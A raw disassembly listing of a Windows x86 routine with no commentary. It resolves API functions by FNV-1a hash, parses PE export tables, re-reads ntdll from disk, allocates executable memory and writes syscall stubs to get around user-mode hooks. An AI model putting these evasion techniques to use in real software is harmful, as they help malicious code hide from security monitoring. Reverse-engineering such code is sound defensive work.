call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
je 0x1016b53f
nop
lea eax, [ebp - 0x698]
push eax
lea ecx, [ebp - 0x48]
call fcn.100400e0
mov byte [ebp - 4], 0x59
lea eax, [ebp - 0xd7c]
push eax
lea ecx, [ebp - 0x48]
call fcn.10082650
lea ecx, [ebp - 0x48]
mov edi, dword [eax]
lea eax, [ebp - 0xd8c]
push eax
call fcn.10082630
lea ecx, [ebp - 0x48]
mov esi, dword [eax]
lea eax, [ebp - 0xd88]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xd84]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x48]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, 0xa62a3b3b
je 0x1016b559
mov byte [ebp - 4], 0x5d
lea ecx, [ebp - 0x48]
call fcn.100403e0
mov byte [ebp - 4], 0x56
lea eax, [ebp - 0x48]
mov dword [ebp - 0xd64], eax
mov byte [ebp - 4], 0x56
lea eax, [ebp - 0x6b8]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1016b490
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x1016b58a
xor eax, eax
jmp 0x1016b616
push dword [ebp - 0xd28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0x69c]
mov byte [ebp - 4], 0x5a
lea ecx, [ebp - 0x48]
call fcn.100403e0
mov byte [ebp - 4], 0x56
lea eax, [ebp - 0x48]
mov dword [ebp - 0xd64], eax
mov byte [ebp - 4], 0x56
jmp 0x1016b548
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x1016b59a
xor eax, eax
jmp 0x1016b616
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0x448], 0xffffffff
cmp dword [ecx + 0x14], esi
jbe 0x1016b5f4
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, 0xca67b978
je 0x1016b5ee
mov eax, dword [ebp - 0xd30]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x1016b5c3
jmp 0x1016b5f4
mov dword [ebp - 0x448], esi
mov esi, dword [ebp - 0x448]
cmp esi, dword [ecx + 0x14]
jbe 0x1016b603
xor eax, eax
jmp 0x1016b616
mov edx, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add edx, edi
add ecx, edi
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov dword [0x102b2fcc], eax
push 0x40
push 0x3000
lea ecx, [ebp - 0x14]
push ecx
push 0
push 0x102b22e0
push 0xffffffffffffffff
call eax
mov eax, dword [0x102b2fc4]
mov ecx, dword [0x102b2fc0]
sub eax, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [0x102b1f10]
test eax, eax
jne 0x1016b85f
mov edx, 0x811c9dc5
mov ecx, str.Wow64Transition
call fcn.100644d0
mov edx, 0x811c9dc5
mov dword [ebp - 0xd2c], eax
mov ecx, str.win32u.dll
call fcn.100644d0
push 0
push 8
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0x8dc], 0x224
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x8dc]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1016b770
lea eax, [ebp - 0x8dc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
je 0x1016b770
lea eax, [ebp - 0x8bc]
push eax
lea ecx, [ebp - 0x60]
call fcn.100400e0
mov byte [ebp - 4], 0x60
lea eax, [ebp - 0xd64]
push eax
lea ecx, [ebp - 0x60]
call fcn.10082650
lea ecx, [ebp - 0x60]
mov edi, dword [eax]
lea eax, [ebp - 0xd90]
push eax
call fcn.10082630
lea ecx, [ebp - 0x60]
mov esi, dword [eax]
lea eax, [ebp - 0xd94]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xd98]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x60]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, dword [ebp - 0xd30]
je 0x1016b78a
mov byte [ebp - 4], 0x64
lea ecx, [ebp - 0x60]
call fcn.100403e0
mov byte [ebp - 4], 0x56
lea eax, [ebp - 0x60]
mov dword [ebp - 0xd68], eax
mov byte [ebp - 4], 0x56
lea eax, [ebp - 0x8dc]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1016b6c0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x1016b7bb
xor eax, eax
jmp 0x1016b854
push dword [ebp - 0xd28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0x8c0]
mov byte [ebp - 4], 0x61
lea ecx, [ebp - 0x60]
call fcn.100403e0
mov byte [ebp - 4], 0x56
lea eax, [ebp - 0x60]
mov dword [ebp - 0xd68], eax
mov byte [ebp - 4], 0x56
jmp 0x1016b779
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x1016b7ce
xor eax, eax
jmp 0x1016b854
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0x448], 0xffffffff
cmp dword [ecx + 0x14], esi
jbe 0x1016b832
nop word [eax + eax]
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, dword [ebp - 0xd2c]
je 0x1016b82c
mov eax, dword [ebp - 0xd30]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x1016b800
jmp 0x1016b832
mov dword [ebp - 0x448], esi
mov esi, dword [ebp - 0x448]
cmp esi, dword [ecx + 0x14]
jbe 0x1016b841
xor eax, eax
jmp 0x1016b854
mov edx, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add edx, edi
add ecx, edi
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov ecx, dword [0x102b2fc0]
mov dword [0x102b1f10], eax
mov dword [ecx + 2], eax
push dword [ebp - 0x14]
push dword [0x102b2fc0]
push dword [0x102b22e0]
call fcn.10171890
mov eax, dword [0x102b2f90]
add esp, 0xc
sub eax, dword [0x102b2f8c]
mov dword [ebp - 0x14], eax
mov eax, dword [0x102b2fcc]
mov dword [ebp - 0x44c], 0
test eax, eax
jne 0x1016ba78
push eax
push 8
mov dword [ebp - 0xb00], 0x224
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0xb00]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1016b994
lea eax, [ebp - 0xb00]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
je 0x1016b994
lea eax, [ebp - 0xae0]
push eax
lea ecx, [ebp - 0x78]
call fcn.100400e0
mov byte [ebp - 4], 0x67
lea eax, [ebp - 0xd68]
push eax
lea ecx, [ebp - 0x78]
call fcn.10082650
lea ecx, [ebp - 0x78]
mov edi, dword [eax]
lea eax, [ebp - 0xd9c]
push eax
call fcn.10082630
lea ecx, [ebp - 0x78]
mov esi, dword [eax]
lea eax, [ebp - 0xda0]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xda8]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x78]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, 0xa62a3b3b
je 0x1016b9ae
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0x78]
call fcn.100403e0
mov byte [ebp - 4], 0x56
lea eax, [ebp - 0x78]
mov dword [ebp - 0xd6c], eax
mov byte [ebp - 4], 0x56
lea eax, [ebp - 0xb00]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1016b8e5
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x1016b9df
xor eax, eax
jmp 0x1016ba73
push dword [ebp - 0xd28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0xae4]
mov byte [ebp - 4], 0x68
lea ecx, [ebp - 0x78]
call fcn.100403e0
mov byte [ebp - 4], 0x56
lea eax, [ebp - 0x78]
mov dword [ebp - 0xd6c], eax
mov byte [ebp - 4], 0x56
jmp 0x1016b99d
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x1016b9f2
xor eax, eax
jmp 0x1016ba73
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0x448], 0xffffffff
cmp dword [ecx + 0x14], esi
jbe 0x1016ba51
nop dword [eax + eax]
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, 0xca67b978
je 0x1016ba4b
mov eax, dword [ebp - 0xd30]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x1016ba20
jmp 0x1016ba51
mov dword [ebp - 0x448], esi
mov esi, dword [ebp - 0x448]
cmp esi, dword [ecx + 0x14]
jbe 0x1016ba60
xor eax, eax
jmp 0x1016ba73
mov edx, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add edx, edi
add ecx, edi
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov dword [0x102b2fcc], eax
push 0x40
push 0x3000
lea ecx, [ebp - 0x14]
push ecx
push 0
lea ecx, [ebp - 0x44c]
push ecx
push 0xffffffffffffffff
call eax
mov eax, dword [0x102b2f90]
mov ecx, dword [0x102b2f8c]
sub eax, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [0x102b22e0]
mov dword [ecx + 6], eax
push dword [ebp - 0x14]
push dword [0x102b2f8c]
push dword [ebp - 0x44c]
call fcn.10171890
mov ecx, dword [ebp - 0x44c]
add esp, 0xc
mov eax, dword [0x102b2fd0]
mov dword [0x102b22d8], ecx
mov dword [0x102b2f84], ecx
mov dword [ebp - 4], 0xffffffff
jmp 0x1016bae5
mov ecx, dword [0x102b2f84]
test al, 2
jne 0x1016c109
or eax, 2
mov dword [0x102b2fd0], eax
mov dword [ebp - 4], 0x6e
xorps xmm0, xmm0
push str.C:WindowsSysWOW64_ntdll.dll
lea ecx, [ebp - 0xa8]
movlpd qword [ebp - 0xd34], xmm0
call fcn.100400e0
mov byte [ebp - 4], 0x6f
lea eax, [ebp - 0xd6c]
push eax
lea ecx, [ebp - 0xa8]
call fcn.10082630
lea ecx, [ebp - 0xa8]
mov esi, dword [eax]
lea eax, [ebp - 0xda4]
push eax
call fcn.10082650
lea ecx, [ebp - 0xd59]
push ecx
push esi
push dword [eax]
lea ecx, [ebp - 0xc0]
call fcn.10150ca0
mov byte [ebp - 4], 0x70
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0x460], 0x10
call fcn.101253b0
mov edi, dword [sym.imp.WINTRUST.dll_WinVerifyTrust]
mov dword [ebp - 0x45c], eax
lea eax, [ebp - 0x460]
mov dword [ebp - 0x47c], eax
lea eax, [ebp - 0x494]
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x458], 0
push eax
push 0
mov dword [ebp - 0x454], 0
mov dword [ebp - 0x24], 0xaac56b
mov dword [ebp - 0x20], 0x11d0cd44
mov dword [ebp - 0x1c], 0xc000c28c
mov dword [ebp - 0x18], 0xee95c24f
mov dword [ebp - 0x46c], 0
mov dword [ebp - 0x464], 0
mov dword [ebp - 0x494], 0x34
mov dword [ebp - 0x490], 0
mov dword [ebp - 0x48c], 0
mov dword [ebp - 0x488], 2
mov dword [ebp - 0x484], 0
mov dword [ebp - 0x480], 1
mov dword [ebp - 0x478], 1
mov dword [ebp - 0x474], 0
mov dword [ebp - 0x470], 0
mov dword [ebp - 0x468], 0
call edi
mov esi, eax
mov dword [ebp - 0x478], 2
lea eax, [ebp - 0x494]
push eax
lea eax, [ebp - 0x24]
push eax
push 0
call edi
mov byte [ebp - 4], 0x71
lea ecx, [ebp - 0xc0]
call fcn.10082670
mov byte [ebp - 4], 0x6f
lea eax, [ebp - 0xc0]
mov dword [ebp - 0xd70], eax
mov byte [ebp - 4], 0x74
lea ecx, [ebp - 0xa8]
call fcn.100403e0
mov byte [ebp - 4], 0x6e
lea eax, [ebp - 0xa8]
mov dword [ebp - 0xd78], eax
mov byte [ebp - 4], 0x6e
test esi, esi
jne 0x1016c0e4
push 0xb8
lea eax, [ebp - 0x178]
push esi
push eax
call fcn.10171fe0
add esp, 0xc
lea ecx, [ebp - 0x178]
push 1
push 0x40
push 0x24
push str.C:WindowsSysWOW64_ntdll.dll
call fcn.1004d850
mov byte [ebp - 4], 0x77
lea eax, [ebp - 0xdc4]
push eax
lea ecx, [ebp - 0x178]
call fcn.1013fbd0
push 0
push 0
push 0
mov esi, dword [eax + 8]
lea ecx, [ebp - 0x178]
add esi, dword [eax]
call fcn.1013fcf0
xorps xmm0, xmm0
mov dword [ebp - 0x28], 0
movq qword [ebp - 0x30], xmm0
lea ecx, [ebp - 0x30]
push esi
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
call fcn.10150ee0
mov byte [ebp - 4], 0x78
lea ecx, [ebp - 0x178]
push 0
push esi
push dword [ebp - 0x30]
call fcn.1013fe40
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x1016c08e
mov eax, dword [ebp - 0x30]
mov ecx, 0x5a4d
mov dword [ebp - 0xd3c], eax
cmp word [eax], cx
je 0x1016bd7a
xor eax, eax
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd70], ax
mov edi, dword [ebp - 0xd70]
jmp 0x1016c09a
mov edx, dword [eax + 0x3c]
add edx, eax
mov dword [ebp - 0xd38], edx
cmp dword [edx], 0x4550
je 0x1016bda8
xor eax, eax
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd70], ax
mov edi, dword [ebp - 0xd70]
jmp 0x1016c09a
mov edi, dword [edx + 0x78]
test edi, edi
je 0x1016bdfe
movzx ecx, word [edx + 0x14]
add edx, 0x18
mov esi, dword [ebp - 0xd38]
add ecx, edx
xor edx, edx
movzx eax, word [esi + 6]
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x1016bdee
nop
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x1016bde6
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x1016bdee
mov eax, dword [ebp - 0xd30]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x1016bdd0
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov edx, dword [ebp - 0xd38]
add eax, edi
jmp 0x1016be00
mov eax, edi
mov ecx, dword [ebp - 0xd3c]
add eax, ecx
mov dword [ebp - 0xd40], eax
mov edi, dword [eax + 0x20]
test edi, edi
je 0x1016be64
movzx ecx, word [edx + 0x14]
xor esi, esi
movzx eax, word [edx + 6]
add ecx, 0x18
add ecx, edx
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x1016be54
nop
mov edx, dword [ecx + 0xc]
cmp edi, edx
jb 0x1016be46
mov eax, dword [ecx + 8]
add eax, edx
cmp edi, eax
jb 0x1016be4e
mov eax, dword [ebp - 0xd30]
inc esi
add ecx, 0x28
cmp esi, eax
jb 0x1016be30
mov edx, dword [ebp - 0xd38]
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 0xd3c]
add eax, edi
jmp 0x1016be66
mov eax, edi
add eax, ecx
mov dword [ebp - 0x448], 0xffffffff
mov ecx, dword [ebp - 0xd40]
xor esi, esi
mov dword [ebp - 0xd2c], eax
mov dword [ebp - 0xd28], esi
cmp dword [ecx + 0x14], esi
jbe 0x1016bf23
nop
mov edi, dword [eax + esi*4]
test edi, edi
je 0x1016bede
movzx ecx, word [edx + 0x14]
xor esi, esi
movzx eax, word [edx + 6]
add ecx, 0x18
add ecx, edx
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x1016bece
mov edx, dword [ecx + 0xc]
cmp edi, edx
jb 0x1016bec6
mov eax, dword [ecx + 8]
add eax, edx
cmp edi, eax
jb 0x1016bece
mov eax, dword [ebp - 0xd30]
inc esi
add ecx, 0x28
cmp esi, eax
jb 0x1016beb0
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov esi, dword [ebp - 0xd28]
add eax, edi
jmp 0x1016bee0
xor eax, eax
mov ecx, dword [ebp - 0xd3c]
mov edx, 0x811c9dc5
add ecx, eax
call fcn.100644d0
cmp eax, 0xea61d9e4
je 0x1016bf1d
mov eax, dword [ebp - 0xd40]
inc esi
mov edx, dword [ebp - 0xd38]
mov dword [ebp - 0xd28], esi
cmp esi, dword [eax + 0x14]
mov eax, dword [ebp - 0xd2c]
jb 0x1016be90
jmp 0x1016bf23
mov dword [ebp - 0x448], esi
mov eax, dword [ebp - 0xd40]
mov ecx, dword [ebp - 0x448]
cmp ecx, dword [eax + 0x14]
jbe 0x1016bf4f
xor eax, eax
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd70], ax
mov edi, dword [ebp - 0xd70]
jmp 0x1016c09a
mov edi, dword [eax + 0x24]
test edi, edi
je 0x1016bf9d
mov esi, dword [ebp - 0xd38]
xor edx, edx
movzx eax, word [esi + 0x14]
lea ecx, [esi + 0x18]
add ecx, eax
movzx eax, word [esi + 6]
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x1016bf93
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x1016bf8b
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x1016bf93
mov eax, dword [ebp - 0xd30]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x1016bf75
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
add eax, edi
jmp 0x1016bf9f
mov eax, edi
mov ecx, dword [ebp - 0xd3c]
add eax, ecx
mov dword [ebp - 0xd2c], eax
mov eax, dword [ebp - 0xd40]
mov edi, dword [eax + 0x1c]
test edi, edi
je 0x1016c00e
mov esi, dword [ebp - 0xd38]
xor edx, edx
movzx eax, word [esi + 0x14]
lea ecx, [esi + 0x18]
add ecx, eax
movzx eax, word [esi + 6]
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x1016bffe
nop dword [eax]
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x1016bff6
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x1016bffe
mov eax, dword [ebp - 0xd30]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x1016bfe0
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 0xd3c]
add eax, edi
jmp 0x1016c010
mov eax, edi
mov edx, dword [ebp - 0x448]
add ecx, eax
mov eax, dword [ebp - 0xd2c]
movzx eax, word [eax + edx*2]
mov edi, dword [ecx + eax*4]
test edi, edi
je 0x1016c070
mov esi, dword [ebp - 0xd38]
xor edx, edx
movzx eax, word [esi + 0x14]
lea ecx, [esi + 0x18]
add ecx, eax
movzx eax, word [esi + 6]
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x1016c066
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x1016c05e
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x1016c066
mov eax, dword [ebp - 0xd30]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x1016c048
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
add eax, edi
jmp 0x1016c072
mov eax, edi
add eax, dword [ebp - 0xd3c]
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd70], ax
mov edi, dword [ebp - 0xd70]
jmp 0x1016c09a
mov edi, dword [ebp - 0xd30]
mov esi, dword [ebp - 0xd34]
mov byte [ebp - 4], 0x77
lea ecx, [ebp - 0x30]
call fcn.100583a0
mov byte [ebp - 4], 0x6e
lea ecx, [ebp - 0x108]
call fcn.10043d80
lea eax, [ebp - 0x108]
mov dword [ebp - method.std::basic_ios_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [ebp - 0xd70], eax
mov byte [ebp - 4], 0x6e
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.1016e78d
add esp, 4
jmp 0x1016c0f0
mov edi, dword [ebp - 0xd30]
mov esi, dword [ebp - 0xd34]
mov dword [0x102b2fa0], esi
mov dword [0x102b2fa4], edi
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [0x102b2f84]
mov eax, dword [ecx + 6]
mov eax, dword [eax + 2]
mov dword [ebp - 0xd60], eax
mov eax, dword [0x102b1f10]
test eax, eax
jne 0x1016c363
mov edx, 0x811c9dc5
mov ecx, str.Wow64Transition
call fcn.100644d0
mov edx, 0x811c9dc5
mov dword [ebp - 0xd2c], eax
mov ecx, str.win32u.dll
call fcn.100644d0
push 0
push 8
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0xd24], 0x224
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0xd24]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1016c271
lea eax, [ebp - 0xd24]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
je 0x1016c271
nop dword [eax]
nop dword [eax + eax]
lea eax, [ebp - 0xd04]
push eax
lea ecx, [ebp - 0x90]
call fcn.100400e0
mov dword [ebp - 4], 0x7a
lea eax, [ebp - 0xd70]
push eax
lea ecx, [ebp - 0x90]
call fcn.10082650
lea ecx, [ebp - 0x90]
mov edi, dword [eax]
lea eax, [ebp - 0xd78]
push eax
call fcn.10082630
lea ecx, [ebp - 0x90]
mov esi, dword [eax]
lea eax, [ebp - 0xd40]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xd3c]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x90]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, dword [ebp - 0xd30]
je 0x1016c28b
mov dword [ebp - 4], 0x7e
lea ecx, [ebp - 0x90]
call fcn.100403e0
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x90]
mov dword [ebp - 0x448], eax
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0xd24]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1016c1a0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x1016c2cb
xor eax, eax
jmp 0x1016c358
push dword [ebp - 0xd28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0xd08]
mov dword [ebp - 4], 0x7b
lea ecx, [ebp - 0x90]
call fcn.100403e0
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x90]
mov dword [ebp - 0xd30], eax
mov dword [ebp - 4], 0xffffffff
jmp 0x1016c27a
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x1016c2db
xor eax, eax
jmp 0x1016c358
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0x448], 0xffffffff
cmp dword [ecx + 0x14], esi
jbe 0x1016c336
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, dword [ebp - 0xd2c]
je 0x1016c330
mov eax, dword [ebp - 0xd30]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x1016c304
jmp 0x1016c336
mov dword [ebp - 0x448], esi
mov esi, dword [ebp - 0x448]
cmp esi, dword [ecx + 0x14]
jbe 0x1016c345
xor eax, eax
jmp 0x1016c358
mov edx, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add edx, edi
add ecx, edi
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov ecx, dword [0x102b2f84]
mov dword [0x102b1f10], eax
cmp dword [ebp - 0xd60], eax
je 0x1016c36f
xor ecx, ecx
jmp 0x1016c381
mov eax, dword [0x102b2fa0]
mov dword [ecx + 1], eax
movzx eax, word [0x102b2fa4]
mov dword [ecx + 0xd], eax
lea eax, [ebp - 0x444]
push eax
push dword [ebp - 0x450]
call ecx
mov eax, dword [0x102b2fb8]
test al, 1
jne 0x1016cb7f
or eax, 1
mov dword [0x102b2fb8], eax
mov dword [ebp - 4], 0x81
mov ecx, dword [0x102b2fbc]
test cl, 1
jne 0x1016c427
or ecx, 1
mov dword [0x102b2fbc], ecx
mov byte [ebp - 4], 0x82
lea eax, [ebp - 0xd5a]
push eax
lea edx, [ebp - 0xd42]
mov dword [0x102b2fc8], 0
push edx
xorps xmm0, xmm0
mov dword [ebp - 0xd48], 0x25ff
lea esi, [ebp - 0xd48]
movq qword [0x102b2fc0], xmm0
push esi
mov ecx, 0x102b2fc0
mov word [ebp - 0xd44], 0
call fcn.10150a40
push 0x101c1830
call fcn.10170081
add esp, 4
mov byte [ebp - 4], 0x81
mov ecx, dword [0x102b2fbc]
mov eax, dword [0x102b2fb8]
test cl, 2
jne 0x1016c4b5
or ecx, 2
mov dword [0x102b2fbc], ecx
mov byte [ebp - 4], 0x83
lea eax, [ebp - 0xd5b]
push eax
lea edx, [ebp - 0xd49]
mov dword [0x102b2f94], 0
push edx
xorps xmm0, xmm0
mov dword [ebp - 0xd58], 0xb8
lea esi, [ebp - 0xd58]
movq qword [0x102b2f8c], xmm0
push esi
mov ecx, 0x102b2f8c
mov dword [ebp - 0xd54], 0xba00
mov dword [ebp - 0xd50], 0xd2ff0000
mov word [ebp - 0xd4c], 0xc2
mov byte [ebp - 0xd4a], 0
call fcn.10150a40
push 0x101c1820
call fcn.10170081
add esp, 4
mov byte [ebp - 4], 0x81
mov eax, dword [0x102b2fb8]
mov ecx, dword [0x102b22d8]
test ecx, ecx
jne 0x1016cb70
mov eax, dword [0x102b2fc4]
sub eax, dword [0x102b2fc0]
mov dword [ebp - 0x14], eax
mov eax, dword [0x102b2fcc]
test eax, eax
jne 0x1016c6b8
push eax
push 8
mov dword [ebp - 0x6b8], 0x224
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x6b8]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1016c5d4
lea eax, [ebp - 0x6b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
je 0x1016c5d4
lea eax, [ebp - 0x698]
push eax
lea ecx, [ebp - 0x48]
call fcn.100400e0
mov byte [ebp - 4], 0x84
lea eax, [ebp - 0xd7c]
push eax
lea ecx, [ebp - 0x48]
call fcn.10082650
lea ecx, [ebp - 0x48]
mov edi, dword [eax]
lea eax, [ebp - 0xd8c]
push eax
call fcn.10082630
lea ecx, [ebp - 0x48]
mov esi, dword [eax]
lea eax, [ebp - 0xd88]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xd84]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x48]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, 0xa62a3b3b
je 0x1016c5ee
mov byte [ebp - 4], 0x88
lea ecx, [ebp - 0x48]
call fcn.100403e0
mov byte [ebp - 4], 0x81
lea eax, [ebp - 0x48]
mov dword [ebp - 0xd64], eax
mov byte [ebp - 4], 0x81
lea eax, [ebp - 0x6b8]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1016c525
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x1016c61f
